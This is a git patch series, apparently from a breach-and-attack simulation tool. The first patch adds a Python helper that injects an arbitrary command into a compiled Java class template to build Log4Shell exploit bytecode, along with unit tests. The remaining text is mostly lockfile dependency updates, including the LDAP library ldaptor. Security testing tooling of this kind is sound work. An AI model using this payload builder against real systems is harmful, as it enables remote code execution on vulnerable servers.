From 68978907e2b09dc5def8841dfb26b38457700ec3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 20 Dec 2021 13:32:43 -0500 Subject: [PATCH 01/87] Agent: Add build_exploit_bytecode for log4shell exploiter --- .../log4shell_utils/Exploit.class.template | Bin 0 -> 462 bytes .../exploit/log4shell_utils/__init__.py | 1 + .../log4shell_utils/exploit_builder.py | 62 ++++++++++++++++++ .../MissingTag.class | Bin 0 -> 460 bytes .../SourceCode.java | 5 ++ .../log4shell_utils/test_exploit_builder.py | 33 ++++++++++ 6 files changed, 101 insertions(+) create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/Exploit.class.template create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/__init__.py create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py create mode 100644 monkey/tests/data_for_tests/invalid_log4j_bytecode_templates/MissingTag.class create mode 100644 monkey/tests/data_for_tests/invalid_log4j_bytecode_templates/SourceCode.java create mode 100644 monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_builder.py diff --git a/monkey/infection_monkey/exploit/log4shell_utils/Exploit.class.template b/monkey/infection_monkey/exploit/log4shell_utils/Exploit.class.template new file mode 100644 index 0000000000000000000000000000000000000000..9160de8adf930ed7f9b1b4bc748512642e77d189 GIT binary patch literal 462 zcmZXQO;5r=5Qg6^g@sza#cxbV4}u4|c!PK$co9D$M$cv4kj2uHvKao6XD(_y_yhb= z#%V)<#68UH%=^4E+5P$b`UY^0V+$Nb3ni4(*p70AV~1mxV~-)#R=&~~42gQF)6!KC$iiE6q=#9Zr#s(t;V#? z8cMw?D)mP1AJd{|$+;8^C-n`ruS4YzTbqWvFc5M&ZJ~w~eOh!3(A$xrXi-(A%qS;M zKfo4rVc4RWiklH=uh33x1#+J-N{M%vPj4`<7BQJ2E=hXi%^^Y2BwrF)nv|uA!{~8R K2+mV!pzsG1(OP2w literal 0 HcmV?d00001 diff --git a/monkey/infection_monkey/exploit/log4shell_utils/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py new file mode 100644 index 000000000..b978afa59 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py @@ -0,0 +1 @@ +from .exploit_builder import build_exploit_bytecode, InvalidExploitTemplateError diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py new file mode 100644 index 000000000..5cbc3b9e7 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py @@ -0,0 +1,62 @@ +import struct +from pathlib import Path + +EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "Exploit.class.template" +INJECTION_TAG = "###" + + +class InvalidExploitTemplateError(Exception): + pass + + +def build_exploit_bytecode( + payload_command: str, exploit_template_path: Path = EXPLOIT_TEMPLATE_PATH +) -> bytes: + """ + Build a payload used to exploit log4shell + :param str payload_command: The command that will be executed on the remote host. + :param Path exploit_template_path: The path to a file containing a pre-compiled Java class with + the placeholder "###". This placeholder will be overwritten + with the contents of payload_command. Defaults to + `EXPLOIT_TEMPLATE_PATH` + :return: Java bytecode that will execute the payload + :rtype: bytes + """ + template_bytecode = _load_template_bytecode(exploit_template_path) + exploit_bytecode = _inject_payload(payload_command, template_bytecode) + + return exploit_bytecode + + +def _load_template_bytecode(exploit_template_path: Path) -> bytes: + with open(exploit_template_path, "rb") as h: + template_bytecode = h.read() + + if not template_bytecode.startswith(b"\xca\xfe\xba\xbe"): + raise InvalidExploitTemplateError( + f"Trying to load non-compiled Java class `{EXPLOIT_TEMPLATE_PATH}`." + ) + + return template_bytecode + + +def _inject_payload(payload: str, template_bytecode: bytes): + payload_bytes = payload.encode() + + if not INJECTION_TAG.encode() in template_bytecode: + raise InvalidExploitTemplateError(f'No "{INJECTION_TAG}" tag to inject payload into.') + + index = template_bytecode.index(INJECTION_TAG.encode()) + + exploit_bytecode = ( + template_bytecode[: index - 3] + + str_size(payload_bytes) + + payload_bytes + + template_bytecode[index + 3 :] + ) + + return exploit_bytecode + + +def str_size(data: bytes) -> bytes: + return b"\x01" + struct.pack("!H", len(data)) diff --git a/monkey/tests/data_for_tests/invalid_log4j_bytecode_templates/MissingTag.class b/monkey/tests/data_for_tests/invalid_log4j_bytecode_templates/MissingTag.class new file mode 100644 index 0000000000000000000000000000000000000000..e4192de0d72670cc289aa71b83d53c7d953466de GIT binary patch literal 460 zcmZWlJx>Bb5Pf?b>~S97;x~nrhlLcD5F3Jx_z^K$FYAUZ9(Uw84FAZQMva9(z#nCt zB?L&^VrJgXdv9j<=lAOyz&UCzETlMW4{2l=ibL@#8i5E0jobcE$%G-((xFZ+7*c-y z(S?I7hwEVr9z$tOzn_MQ9w`QQppq4+`t|NVPSZi2?1T`;uIQnJGJ~yVN-~`I8-iXE z>u}KA^tg*7sV0*q$2LP{?cJG4HBNLCa_lhh&TJe+n%1}5(KBsT=;~12Oh Date: Tue, 21 Dec 2021 15:12:50 -0500 Subject: [PATCH 02/87] Agent: Add ldaptor to dependencies --- monkey/infection_monkey/Pipfile | 1 + monkey/infection_monkey/Pipfile.lock | 654 ++++++++++++++++++--------- 2 files changed, 436 insertions(+), 219 deletions(-) diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index 75a5810a7..7c1d80134 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -31,6 +31,7 @@ ScoutSuite = {git = "git://github.com/guardicode/ScoutSuite"} pyopenssl = "==19.0.0" # We can't build 32bit ubuntu12 binary with newer versions of pyopenssl pypsrp = "*" typing-extensions = "*" +ldaptor = "*" [dev-packages] diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index a9bb7d542..4089b56f3 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "43cdbb12fe6858c82a2fffa8dd1c38292b02dd326d2fa82cc8c1ab48a9d5b262" + "sha256": "3c1d7bd82a9f8e231077101853328f117777710b2e5fbf96c9652216241e6c91" }, "pipfile-spec": 6, "requires": { @@ -54,6 +54,21 @@ "markers": "python_version >= '3.6'", "version": "==0.1.2" }, + "attrs": { + "hashes": [ + "sha256:149e90d6d8ac20db7a955ad60cf0e6881a3f20d37096140088356da6c716b0b1", + "sha256:ef6aaac3ca6cd92904cdd0d83f629a15f18053ec84e6432106f7a4d04ae4f5fb" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==21.2.0" + }, + "automat": { + "hashes": [ + "sha256:7979803c74610e11ef0c0d68a2942b152df52da55336e0c9d58daf1831cbdf33", + "sha256:b6feb6455337df834f6c9962d6ccf771515b7d939bca142b29c20c2376bc6111" + ], + "version": "==20.2.0" + }, "bcrypt": { "hashes": [ "sha256:5b93c1726e50a93a033c36e5ca7fdcd29a5c7395af50a6892f5d9e7c6cfbfb29", @@ -69,77 +84,82 @@ }, "boto3": { "hashes": [ - "sha256:3d8b1c76a2d40775b3a8a5c457293741641bf3b6b7150e3ad351e584bb50786e", - "sha256:f7e8ce6155a4d4fc23796cb58ea4d28dd4bbb61198a0da8ff2efcbee395c453c" + "sha256:a03ab82efcbf457c36dab4afc545d0ddb72b5140c9993cffc78bc23b8d8baa40", + "sha256:fa686e8e0a0559124aa9f19dcc25e6cc428f18ff11f779bb7346b883b353fdc2" ], "markers": "python_version >= '3.6'", - "version": "==1.18.46" + "version": "==1.20.25" }, "botocore": { "hashes": [ - "sha256:58622d4d84adcbc352d82ab8a7ec512c7af862bcffd3b93225b416a87f46a6a2", - "sha256:a5df461647d1080185e91c3078ab570cc6fc346df05b9decac9fca68c149b7b8" + "sha256:98f8a23ca035edfbd8a8028e624eaf08ba22452dd78ad62eeb03fcd0bbd5f58d", + "sha256:9eb71d5ee1ea335b3968751346601e923c66a7b324b1dc58e360d14e0d2ac136" ], "markers": "python_version >= '3.6'", - "version": "==1.21.46" + "version": "==1.23.25" }, "certifi": { "hashes": [ - "sha256:2bbf76fd432960138b3ef6dda3dde0544f27cbf8546c458e60baf371917ba9ee", - "sha256:50b1e4f8446b06f41be7dd6338db18e0990601dce795c2b1686458aa7e8fa7d8" + "sha256:78884e7c1d4b00ce3cea67b44566851c4343c120abd683433ce934a68ea58872", + "sha256:d62a0163eb4c2344ac042ab2bdf75399a71a2d8c7d47eac2e2ee91b9d6339569" ], - "version": "==2021.5.30" + "version": "==2021.10.8" }, "cffi": { "hashes": [ - "sha256:06c54a68935738d206570b20da5ef2b6b6d92b38ef3ec45c5422c0ebaf338d4d", - "sha256:0c0591bee64e438883b0c92a7bed78f6290d40bf02e54c5bf0978eaf36061771", - "sha256:19ca0dbdeda3b2615421d54bef8985f72af6e0c47082a8d26122adac81a95872", - "sha256:22b9c3c320171c108e903d61a3723b51e37aaa8c81255b5e7ce102775bd01e2c", - "sha256:26bb2549b72708c833f5abe62b756176022a7b9a7f689b571e74c8478ead51dc", - "sha256:33791e8a2dc2953f28b8d8d300dde42dd929ac28f974c4b4c6272cb2955cb762", - "sha256:3c8d896becff2fa653dc4438b54a5a25a971d1f4110b32bd3068db3722c80202", - "sha256:4373612d59c404baeb7cbd788a18b2b2a8331abcc84c3ba40051fcd18b17a4d5", - "sha256:487d63e1454627c8e47dd230025780e91869cfba4c753a74fda196a1f6ad6548", - "sha256:48916e459c54c4a70e52745639f1db524542140433599e13911b2f329834276a", - "sha256:4922cd707b25e623b902c86188aca466d3620892db76c0bdd7b99a3d5e61d35f", - "sha256:55af55e32ae468e9946f741a5d51f9896da6b9bf0bbdd326843fec05c730eb20", - "sha256:57e555a9feb4a8460415f1aac331a2dc833b1115284f7ded7278b54afc5bd218", - "sha256:5d4b68e216fc65e9fe4f524c177b54964af043dde734807586cf5435af84045c", - "sha256:64fda793737bc4037521d4899be780534b9aea552eb673b9833b01f945904c2e", - "sha256:6d6169cb3c6c2ad50db5b868db6491a790300ade1ed5d1da29289d73bbe40b56", - "sha256:7bcac9a2b4fdbed2c16fa5681356d7121ecabf041f18d97ed5b8e0dd38a80224", - "sha256:80b06212075346b5546b0417b9f2bf467fea3bfe7352f781ffc05a8ab24ba14a", - "sha256:818014c754cd3dba7229c0f5884396264d51ffb87ec86e927ef0be140bfdb0d2", - "sha256:8eb687582ed7cd8c4bdbff3df6c0da443eb89c3c72e6e5dcdd9c81729712791a", - "sha256:99f27fefe34c37ba9875f224a8f36e31d744d8083e00f520f133cab79ad5e819", - "sha256:9f3e33c28cd39d1b655ed1ba7247133b6f7fc16fa16887b120c0c670e35ce346", - "sha256:a8661b2ce9694ca01c529bfa204dbb144b275a31685a075ce123f12331be790b", - "sha256:a9da7010cec5a12193d1af9872a00888f396aba3dc79186604a09ea3ee7c029e", - "sha256:aedb15f0a5a5949ecb129a82b72b19df97bbbca024081ed2ef88bd5c0a610534", - "sha256:b315d709717a99f4b27b59b021e6207c64620790ca3e0bde636a6c7f14618abb", - "sha256:ba6f2b3f452e150945d58f4badd92310449876c4c954836cfb1803bdd7b422f0", - "sha256:c33d18eb6e6bc36f09d793c0dc58b0211fccc6ae5149b808da4a62660678b156", - "sha256:c9a875ce9d7fe32887784274dd533c57909b7b1dcadcc128a2ac21331a9765dd", - "sha256:c9e005e9bd57bc987764c32a1bee4364c44fdc11a3cc20a40b93b444984f2b87", - "sha256:d2ad4d668a5c0645d281dcd17aff2be3212bc109b33814bbb15c4939f44181cc", - "sha256:d950695ae4381ecd856bcaf2b1e866720e4ab9a1498cba61c602e56630ca7195", - "sha256:e22dcb48709fc51a7b58a927391b23ab37eb3737a98ac4338e2448bef8559b33", - "sha256:e8c6a99be100371dbb046880e7a282152aa5d6127ae01783e37662ef73850d8f", - "sha256:e9dc245e3ac69c92ee4c167fbdd7428ec1956d4e754223124991ef29eb57a09d", - "sha256:eb687a11f0a7a1839719edd80f41e459cc5366857ecbed383ff376c4e3cc6afd", - "sha256:eb9e2a346c5238a30a746893f23a9535e700f8192a68c07c0258e7ece6ff3728", - "sha256:ed38b924ce794e505647f7c331b22a693bee1538fdf46b0222c4717b42f744e7", - "sha256:f0010c6f9d1a4011e429109fda55a225921e3206e7f62a0c22a35344bfd13cca", - "sha256:f0c5d1acbfca6ebdd6b1e3eded8d261affb6ddcf2186205518f1428b8569bb99", - "sha256:f10afb1004f102c7868ebfe91c28f4a712227fe4cb24974350ace1f90e1febbf", - "sha256:f174135f5609428cc6e1b9090f9268f5c8935fddb1b25ccb8255a2d50de6789e", - "sha256:f3ebe6e73c319340830a9b2825d32eb6d8475c1dac020b4f0aa774ee3b898d1c", - "sha256:f627688813d0a4140153ff532537fbe4afea5a3dffce1f9deb7f91f848a832b5", - "sha256:fd4305f86f53dfd8cd3522269ed7fc34856a8ee3709a5e28b2836b2db9d4cd69" + "sha256:00c878c90cb53ccfaae6b8bc18ad05d2036553e6d9d1d9dbcf323bbe83854ca3", + "sha256:0104fb5ae2391d46a4cb082abdd5c69ea4eab79d8d44eaaf79f1b1fd806ee4c2", + "sha256:06c48159c1abed75c2e721b1715c379fa3200c7784271b3c46df01383b593636", + "sha256:0808014eb713677ec1292301ea4c81ad277b6cdf2fdd90fd540af98c0b101d20", + "sha256:10dffb601ccfb65262a27233ac273d552ddc4d8ae1bf93b21c94b8511bffe728", + "sha256:14cd121ea63ecdae71efa69c15c5543a4b5fbcd0bbe2aad864baca0063cecf27", + "sha256:17771976e82e9f94976180f76468546834d22a7cc404b17c22df2a2c81db0c66", + "sha256:181dee03b1170ff1969489acf1c26533710231c58f95534e3edac87fff06c443", + "sha256:23cfe892bd5dd8941608f93348c0737e369e51c100d03718f108bf1add7bd6d0", + "sha256:263cc3d821c4ab2213cbe8cd8b355a7f72a8324577dc865ef98487c1aeee2bc7", + "sha256:2756c88cbb94231c7a147402476be2c4df2f6078099a6f4a480d239a8817ae39", + "sha256:27c219baf94952ae9d50ec19651a687b826792055353d07648a5695413e0c605", + "sha256:2a23af14f408d53d5e6cd4e3d9a24ff9e05906ad574822a10563efcef137979a", + "sha256:31fb708d9d7c3f49a60f04cf5b119aeefe5644daba1cd2a0fe389b674fd1de37", + "sha256:3415c89f9204ee60cd09b235810be700e993e343a408693e80ce7f6a40108029", + "sha256:3773c4d81e6e818df2efbc7dd77325ca0dcb688116050fb2b3011218eda36139", + "sha256:3b96a311ac60a3f6be21d2572e46ce67f09abcf4d09344c49274eb9e0bf345fc", + "sha256:3f7d084648d77af029acb79a0ff49a0ad7e9d09057a9bf46596dac9514dc07df", + "sha256:41d45de54cd277a7878919867c0f08b0cf817605e4eb94093e7516505d3c8d14", + "sha256:4238e6dab5d6a8ba812de994bbb0a79bddbdf80994e4ce802b6f6f3142fcc880", + "sha256:45db3a33139e9c8f7c09234b5784a5e33d31fd6907800b316decad50af323ff2", + "sha256:45e8636704eacc432a206ac7345a5d3d2c62d95a507ec70d62f23cd91770482a", + "sha256:4958391dbd6249d7ad855b9ca88fae690783a6be9e86df65865058ed81fc860e", + "sha256:4a306fa632e8f0928956a41fa8e1d6243c71e7eb59ffbd165fc0b41e316b2474", + "sha256:57e9ac9ccc3101fac9d6014fba037473e4358ef4e89f8e181f8951a2c0162024", + "sha256:59888172256cac5629e60e72e86598027aca6bf01fa2465bdb676d37636573e8", + "sha256:5e069f72d497312b24fcc02073d70cb989045d1c91cbd53979366077959933e0", + "sha256:64d4ec9f448dfe041705426000cc13e34e6e5bb13736e9fd62e34a0b0c41566e", + "sha256:6dc2737a3674b3e344847c8686cf29e500584ccad76204efea14f451d4cc669a", + "sha256:74fdfdbfdc48d3f47148976f49fab3251e550a8720bebc99bf1483f5bfb5db3e", + "sha256:75e4024375654472cc27e91cbe9eaa08567f7fbdf822638be2814ce059f58032", + "sha256:786902fb9ba7433aae840e0ed609f45c7bcd4e225ebb9c753aa39725bb3e6ad6", + "sha256:8b6c2ea03845c9f501ed1313e78de148cd3f6cad741a75d43a29b43da27f2e1e", + "sha256:91d77d2a782be4274da750752bb1650a97bfd8f291022b379bb8e01c66b4e96b", + "sha256:91ec59c33514b7c7559a6acda53bbfe1b283949c34fe7440bcf917f96ac0723e", + "sha256:920f0d66a896c2d99f0adbb391f990a84091179542c205fa53ce5787aff87954", + "sha256:a5263e363c27b653a90078143adb3d076c1a748ec9ecc78ea2fb916f9b861962", + "sha256:abb9a20a72ac4e0fdb50dae135ba5e77880518e742077ced47eb1499e29a443c", + "sha256:c2051981a968d7de9dd2d7b87bcb9c939c74a34626a6e2f8181455dd49ed69e4", + "sha256:c21c9e3896c23007803a875460fb786118f0cdd4434359577ea25eb556e34c55", + "sha256:c2502a1a03b6312837279c8c1bd3ebedf6c12c4228ddbad40912d671ccc8a962", + "sha256:d4d692a89c5cf08a8557fdeb329b82e7bf609aadfaed6c0d79f5a449a3c7c023", + "sha256:da5db4e883f1ce37f55c667e5c0de439df76ac4cb55964655906306918e7363c", + "sha256:e7022a66d9b55e93e1a845d8c9eba2a1bebd4966cd8bfc25d9cd07d515b33fa6", + "sha256:ef1f279350da2c586a69d32fc8733092fd32cc8ac95139a00377841f59a3f8d8", + "sha256:f54a64f8b0c8ff0b64d18aa76675262e1700f3995182267998c31ae974fbc382", + "sha256:f5c7150ad32ba43a07c4479f40241756145a1f03b43480e058cfd862bf5041c7", + "sha256:f6f824dc3bce0edab5f427efcfb1d63ee75b6fcb7282900ccaf925be84efb0fc", + "sha256:fd8a250edc26254fe5b33be00402e6d287f562b6a5b2152dec302fa15bb3e997", + "sha256:ffaa5c925128e29efbde7301d8ecaf35c8c60ffbcd6a1ffd3a552177c8e5e796" ], "index": "pypi", - "version": "==1.14.6" + "version": "==1.15.0" }, "chardet": { "hashes": [ @@ -151,11 +171,11 @@ }, "charset-normalizer": { "hashes": [ - "sha256:5d209c0a931f215cee683b6445e2d77677e7e75e159f78def0db09d68fafcaa6", - "sha256:5ec46d183433dcbd0ab716f2d7f29d8dee50505b3fdb40c6b985c7c4f5a3591f" + "sha256:1eecaa09422db5be9e29d7fc65664e6c33bd06f9ced7838578ba40d58bdf3721", + "sha256:b0b883e8e874edfdece9c28f314e3dd5badf067342e42fb162203335ae61aa2c" ], "markers": "python_version >= '3'", - "version": "==2.0.6" + "version": "==2.0.9" }, "cheroot": { "hashes": [ @@ -183,11 +203,11 @@ }, "click": { "hashes": [ - "sha256:8c04c11192119b1ef78ea049e0a6f0463e4c48ef00a30160c704337586f3ad7a", - "sha256:fba402a4a47334742d782209a7c79bc448911afe1149d07bdabdf480b3e2f4b6" + "sha256:353f466495adaeb40b6b5f592f9f91cb22372351c84caeb068132442a4518ef3", + "sha256:410e932b050f5eed773c4cda94de75971c89cdb3155a72a0831139a79e5ecb5b" ], "markers": "python_version >= '3.6'", - "version": "==8.0.1" + "version": "==8.0.3" }, "colorama": { "hashes": [ @@ -204,6 +224,13 @@ ], "version": "==10.0" }, + "constantly": { + "hashes": [ + "sha256:586372eb92059873e29eba4f9dec8381541b4d3834660707faf8ba59146dfc35", + "sha256:dd2fa9d6b1a51a83f0d7dd76293d734046aa176e384bf6e33b7e44880eb37c5d" + ], + "version": "==15.1.0" + }, "cryptography": { "hashes": [ "sha256:05b3ded5e88747d28ee3ef493f2b92cbb947c1e45cf98cfef22e6d38bb67d4af", @@ -247,11 +274,11 @@ }, "flask": { "hashes": [ - "sha256:1c4c257b1892aec1398784c63791cbaa43062f1f7aeb555c4da961b20ee68f55", - "sha256:a6209ca15eb63fc9385f38e452704113d679511d9574d09b2cf9183ae7d20dc9" + "sha256:7b2fb8e934ddd50731893bdcdb00fc8c0315916f9fcd50d22c7cc1a95ab634e2", + "sha256:cb90f62f1d8e4dc4621f52106613488b5ba826b2e1e10a33eac92f723093ab6a" ], "markers": "python_version >= '3.6'", - "version": "==2.0.1" + "version": "==2.0.2" }, "future": { "hashes": [ @@ -274,20 +301,27 @@ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", "version": "==10.0" }, + "hyperlink": { + "hashes": [ + "sha256:427af957daa58bc909471c6c40f74c5450fa123dd093fc53efd2e91d2705a56b", + "sha256:e6b14c37ecb73e89c77d78cdb4c2cc8f3fb59a885c5b3f819ff4ed80f25af1b4" + ], + "version": "==21.0.0" + }, "idna": { "hashes": [ - "sha256:14475042e284991034cb48e06f6851428fb14c4dc953acd9be9a5e95c7b6dd7a", - "sha256:467fbad99067910785144ce333826c71fb0e63a425657295239737f7ecd125f3" + "sha256:84d9dd047ffa80596e0f246e2eab0b391788b0503584e8945f2368256d2735ff", + "sha256:9d643ff0a55b762d5cdb124b8eaa99c66322e2157b69160bc32796e824360e6d" ], "markers": "python_version >= '3'", - "version": "==3.2" + "version": "==3.3" }, "impacket": { "hashes": [ - "sha256:1c1be8a50cdbe3cffc566ba64f552b1b28bcc79b7a406b833956b49c56d77184" + "sha256:18d557d387f4914fafa739813b9172bc3f8bd9c036e93bf589a8e0ebb7304bba" ], "index": "pypi", - "version": "==0.9.23" + "version": "==0.9.24" }, "importlib-metadata": { "hashes": [ @@ -297,6 +331,21 @@ "index": "pypi", "version": "==4.0.1" }, + "importlib-resources": { + "hashes": [ + "sha256:33a95faed5fc19b4bc16b29a6eeae248a3fe69dd55d4d229d2b480e23eeaad45", + "sha256:d756e2f85dd4de2ba89be0b21dba2a3bbec2e871a42a3a16719258a11f87506b" + ], + "markers": "python_version < '3.9'", + "version": "==5.4.0" + }, + "incremental": { + "hashes": [ + "sha256:02f5de5aff48f6b9f665d99d48bfc7ec03b6e3943210de7cfc88856d755d6f57", + "sha256:92014aebc6a20b78a8084cdd5645eeaa7f74b8933f70fa3ada2cfbd1e3b54321" + ], + "version": "==21.3.0" + }, "ipaddress": { "hashes": [ "sha256:6e0f4a39e66cb5bb9a137b00276a2eff74f93b71dcbdad6f10ff7df9d3557fcc", @@ -331,27 +380,27 @@ }, "jaraco.functools": { "hashes": [ - "sha256:7c788376d69cf41da675b186c85366fe9ac23c92a70697c455ef9135c25edf31", - "sha256:bfcf7da71e2a0e980189b0744b59dba6c1dcf66dcd7a30f8a4413e478046b314" + "sha256:141f95c490a18eb8aab86caf7a2728f02f604988a26dc36652e3d9fa9e4c49fa", + "sha256:31e0e93d1027592b7b0bec6ad468db850338981ebee76ba5e212e235f4c7dda0" ], - "markers": "python_version >= '3.6'", - "version": "==3.3.0" + "markers": "python_version >= '3.7'", + "version": "==3.5.0" }, "jaraco.text": { "hashes": [ - "sha256:dc900b7916cefdaf943fbd43870abc8b0a6ff68f2c8c33e212fd51139219f68d", - "sha256:ede4e9103443b62b3d1d193257dfb85aab7c69a6cef78a0887d64bb307a03bc3" + "sha256:901d3468eaaa04f1d8a8f141f54b8887bfd943ccba311fc1c1de62c66604dfe0", + "sha256:d1506dec6485fbaaaedf98b678f1228f639c8d50fbfa12ffc2594cfc495a2476" ], "markers": "python_version >= '3.6'", - "version": "==3.5.1" + "version": "==3.6.0" }, "jinja2": { "hashes": [ - "sha256:1f06f2da51e7b56b8f238affdd6b4e2c61e39598a378cc49345bc1bd42a978a4", - "sha256:703f484b47a6af502e743c9122595cc812b0271f661722403114f71a79d0f5a4" + "sha256:077ce6014f7b40d03b47d1f1ca4b0fc8328a692bd284016f806ed0eaca390ad8", + "sha256:611bb273cd68f3b993fabdc4064fc858c5b47a973cb5aa7999ec1ba405c87cd7" ], "markers": "python_version >= '3.6'", - "version": "==3.0.1" + "version": "==3.0.3" }, "jmespath": { "hashes": [ @@ -379,11 +428,20 @@ ], "version": "==0.9.3" }, + "ldaptor": { + "hashes": [ + "sha256:70521851c74b67b340619fc58bb7105619714e40287309572edb6e86f6d75bd0", + "sha256:8c49eb19375d4aab3e5b835860614e0cb17e56bb5a20e1874808fa5bec67a358" + ], + "index": "pypi", + "version": "==21.2.0" + }, "markupsafe": { "hashes": [ "sha256:01a9b8ea66f1658938f65b93a85ebe8bc016e6769611be228d797c9d998dd298", "sha256:023cb26ec21ece8dc3907c0e8320058b2e0cb3c55cf9564da612bc325bed5e64", "sha256:0446679737af14f45767963a1a9ef7620189912317d095f2d9ffa183a4d25d2b", + "sha256:04635854b943835a6ea959e948d19dcd311762c5c0c6e1f0e16ee57022669194", "sha256:0717a7390a68be14b8c793ba258e075c6f4ca819f15edfc2a3a027c823718567", "sha256:0955295dd5eec6cb6cc2fe1698f4c6d84af2e92de33fbcac4111913cd100a6ff", "sha256:0d4b31cc67ab36e3392bbf3862cfbadac3db12bdd8b02a2731f509ed5b829724", @@ -391,6 +449,7 @@ "sha256:168cd0a3642de83558a5153c8bd34f175a9a6e7f6dc6384b9655d2697312a646", "sha256:1d609f577dc6e1aa17d746f8bd3c31aa4d258f4070d61b2aa5c4166c1539de35", "sha256:1f2ade76b9903f39aa442b4aadd2177decb66525062db244b35d71d0ee8599b6", + "sha256:20dca64a3ef2d6e4d5d615a3fd418ad3bde77a47ec8a23d984a12b5b4c74491a", "sha256:2a7d351cbd8cfeb19ca00de495e224dea7e7d919659c2841bbb7f420ad03e2d6", "sha256:2d7d807855b419fc2ed3e631034685db6079889a1f01d5d9dac950f764da3dad", "sha256:2ef54abee730b502252bcdf31b10dacb0a416229b72c18b19e24a4509f273d26", @@ -398,27 +457,36 @@ "sha256:37205cac2a79194e3750b0af2a5720d95f786a55ce7df90c3af697bfa100eaac", "sha256:3c112550557578c26af18a1ccc9e090bfe03832ae994343cfdacd287db6a6ae7", "sha256:3dd007d54ee88b46be476e293f48c85048603f5f516008bee124ddd891398ed6", + "sha256:4296f2b1ce8c86a6aea78613c34bb1a672ea0e3de9c6ba08a960efe0b0a09047", "sha256:47ab1e7b91c098ab893b828deafa1203de86d0bc6ab587b160f78fe6c4011f75", "sha256:49e3ceeabbfb9d66c3aef5af3a60cc43b85c33df25ce03d0031a608b0a8b2e3f", + "sha256:4dc8f9fb58f7364b63fd9f85013b780ef83c11857ae79f2feda41e270468dd9b", "sha256:4efca8f86c54b22348a5467704e3fec767b2db12fc39c6d963168ab1d3fc9135", "sha256:53edb4da6925ad13c07b6d26c2a852bd81e364f95301c66e930ab2aef5b5ddd8", "sha256:5855f8438a7d1d458206a2466bf82b0f104a3724bf96a1c781ab731e4201731a", "sha256:594c67807fb16238b30c44bdf74f36c02cdf22d1c8cda91ef8a0ed8dabf5620a", + "sha256:5b6d930f030f8ed98e3e6c98ffa0652bdb82601e7a016ec2ab5d7ff23baa78d1", "sha256:5bb28c636d87e840583ee3adeb78172efc47c8b26127267f54a9c0ec251d41a9", "sha256:60bf42e36abfaf9aff1f50f52644b336d4f0a3fd6d8a60ca0d054ac9f713a864", "sha256:611d1ad9a4288cf3e3c16014564df047fe08410e628f89805e475368bd304914", + "sha256:6300b8454aa6930a24b9618fbb54b5a68135092bc666f7b06901f897fa5c2fee", + "sha256:63f3268ba69ace99cab4e3e3b5840b03340efed0948ab8f78d2fd87ee5442a4f", "sha256:6557b31b5e2c9ddf0de32a691f2312a32f77cd7681d8af66c2692efdbef84c18", "sha256:693ce3f9e70a6cf7d2fb9e6c9d8b204b6b39897a2c4a1aa65728d5ac97dcc1d8", "sha256:6a7fae0dd14cf60ad5ff42baa2e95727c3d81ded453457771d02b7d2b3f9c0c2", "sha256:6c4ca60fa24e85fe25b912b01e62cb969d69a23a5d5867682dd3e80b5b02581d", "sha256:6fcf051089389abe060c9cd7caa212c707e58153afa2c649f00346ce6d260f1b", "sha256:7d91275b0245b1da4d4cfa07e0faedd5b0812efc15b702576d103293e252af1b", + "sha256:89c687013cb1cd489a0f0ac24febe8c7a666e6e221b783e53ac50ebf68e45d86", + "sha256:8d206346619592c6200148b01a2142798c989edcb9c896f9ac9722a99d4e77e6", "sha256:905fec760bd2fa1388bb5b489ee8ee5f7291d692638ea5f67982d968366bef9f", "sha256:97383d78eb34da7e1fa37dd273c20ad4320929af65d156e35a5e2d89566d9dfb", "sha256:984d76483eb32f1bcb536dc27e4ad56bba4baa70be32fa87152832cdd9db0833", "sha256:99df47edb6bda1249d3e80fdabb1dab8c08ef3975f69aed437cb69d0a5de1e28", + "sha256:9f02365d4e99430a12647f09b6cc8bab61a6564363f313126f775eb4f6ef798e", "sha256:a30e67a65b53ea0a5e62fe23682cfe22712e01f453b95233b25502f7c61cb415", "sha256:ab3ef638ace319fa26553db0624c4699e31a28bb2a835c5faca8f8acf6a5a902", + "sha256:aca6377c0cb8a8253e493c6b451565ac77e98c2951c45f913e0b52facdcff83f", "sha256:add36cb2dbb8b736611303cd3bfcee00afd96471b09cda130da3581cbdc56a6d", "sha256:b2f4bf27480f5e5e8ce285a8c8fd176c0b03e93dcc6646477d4630e83440c6a9", "sha256:b7f2d075102dc8c794cbde1947378051c4e5180d52d276987b8d28a3bd58c17d", @@ -426,10 +494,14 @@ "sha256:be98f628055368795d818ebf93da628541e10b75b41c559fdf36d104c5787066", "sha256:bf5d821ffabf0ef3533c39c518f3357b171a1651c1ff6827325e4489b0e46c3c", "sha256:c47adbc92fc1bb2b3274c4b3a43ae0e4573d9fbff4f54cd484555edbf030baf1", + "sha256:cdfba22ea2f0029c9261a4bd07e830a8da012291fbe44dc794e488b6c9bb353a", + "sha256:d6c7ebd4e944c85e2c3421e612a7057a2f48d478d79e61800d81468a8d842207", "sha256:d7f9850398e85aba693bb640262d3611788b1f29a79f0c93c565694658f4071f", "sha256:d8446c54dc28c01e5a2dbac5a25f071f6653e6e40f3a8818e8b45d790fe6ef53", + "sha256:deb993cacb280823246a026e3b2d81c493c53de6acfd5e6bfe31ab3402bb37dd", "sha256:e0f138900af21926a02425cf736db95be9f4af72ba1bb21453432a07f6082134", 